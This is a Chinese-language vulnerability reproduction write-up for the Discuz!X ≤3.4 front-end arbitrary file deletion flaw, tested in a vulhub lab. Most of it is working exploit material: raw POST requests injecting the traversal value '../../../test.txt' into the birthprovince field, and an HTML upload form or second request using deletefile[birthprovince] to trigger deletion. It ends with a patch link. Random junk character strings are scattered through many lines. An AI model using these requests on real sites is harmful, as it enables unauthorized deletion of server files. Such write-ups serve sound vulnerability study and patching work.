Discuz!X 3.4 任意文件删除漏洞复现

fudyou

0 q; _$ |. e+ T7 o
前言：9月29日，Discuz修复了一个前台任意文件删除的漏洞，相似的漏洞曾在2014年被提交给wooyun和discuz官方，但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复，但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。
影响版本：Discuz < =3.4 环境

/ }9 n# `( s9 d; I! r8 X复现过程：首先在discuz目录下新建一个test.txt文件，到时候删除用。
$ w: u' P# m/ O0 ?& Q- U, J新建test.txt
9 a; `! j  r' y! N访问：http://192.168.220.131/home.php?mod=spacecp，然查审查元素，查看formhash的值，然后复制。
6 s0 O* j& g' H" I+ w% A7 r

查看formhash
利用burp抓包，获取cookie




' y- u; M4 r2 l
抓取cookie

发送下面数据包：修改cookie，formhash,还有删除的文件
6 a* V; b- W! ]2 M; nPOST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
4 n" E, a8 j- m( FCache-Control: max-age=0
! I2 H) Z' }6 l- O, P7 t# `Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
( n! A! d0 R& ?9 I/ U  c) P% Q$ NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
1 w) S% B4 [' V- O* L0 R( T8 Z8 `Accept-Encoding: gzip, deflate
. y4 S6 R5 y) I% h) y4 a) M# AAccept-Language: zh-CN,zh;q=0.8,en;q=0.6
! W% V: W) r* y3 NCookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
  ~. I$ H3 M) J) ^84a7f376
- F9 B$ h/ U- J7 l7 l3 t------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../test.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
, i' i1 P( |! O, R2 u  kContent-Disposition: form-data; name="profilesubmit"
1
# e3 e- f5 f0 j* b* q" c  ]------WebKitFormBoundaryPFvXyxL45f34L12s--
发送删除的数据包
/ t. v# w9 O5 \) S1 a刷新页面，查看出生地就会显示成下图所示的状态：
数据成功写入
% y) M" M( K; z+ o! D
  N- I; j; I1 A2 b  [( c
说明数据已经进入数据库：
( t- e/ ~) O# e& R; J然后，新建一个upload.html，代码如下，将其中的ip改成discuz的域名，[form-hash]改成你的formhash：
  Y  ?2 g+ d" d8 b% [<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
- E  _, |& w/ O& x6 j<input type="file"name="birthprovince" id="file" />
0 q6 Y! L1 ^, ]  O/ x- d" ?8 ]<input type="text"name="formhash" value="84a7f376"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
+ _1 Q1 S+ l8 r4 D  l<input type="submit"value="Submit" />
  K7 \4 C& m; }</from>

' o& o% r. U3 j: ~2 n


: e5 i+ o- |2 i: `" |4 t& x
4 e' a6 l2 g! t" f! `5 E或者直接构建数据包：
# c" _4 o9 l" n& X8 O2 n1 d6 dPOST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1
8 _/ z' a6 V- tHost: 192.168.220.131
8 k% w3 l: s) m% A; T2 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
; S9 j  Z" S7 v8 k3 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
, z0 _6 t# x. z+ wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 Q. [6 M* i( [& i/ W0 qContent-Type: multipart/form-data; boundary=---------------------------123821742118716
, W, E) G. P2 ~7 ~& x" V* L: UContent-Length: 91989
Connection: close
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
Upgrade-Insecure-Requests: 1
0 V: l% K" V6 u) f. J' G-----------------------------123821742118716
Content-Disposition: form-data; name="birthprovince"; filename="0.jpg"
+ l5 }' }7 |: y8 ^/ P9 fContent-Type: image/jpeg
' l# I6 t' r. [3 a. L. A  Azerba（这里写啥都可以）
-----------------------------123821742118716--


6 S, S: U( [: n/ X# M* p% O9 M



8 n7 J+ \8 P: p- {9 w# }: T5 u  X

7 K( n$ c5 Q" T* P; B

# {3 e. n: q+ X! H% j2 X
0 C4 n) j  d1 C; F进去discuz看看，可以看到，test.txt文件已经被删除了。
  v3 c# v" b9 g2 \. ^$ w" V6 ?
, Q0 `) v3 B: a4 }

9 }$ M( C& K5 a0 j

修复建议：https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
编辑upload/source/include/spacecp/spacecp_profile.php文件，删除和unlink相关代码。
( k/ Z0 V0 `2 |0 u
" H! K1 S7 V* x) \5 \" c" Y
! O. R( g8 v% N: A: M5 u! }


; e4 d! p  P: x' W# B

: O; }3 x. D- e5 H2 ?8 \5 d

- u/ f% s/ C- O" I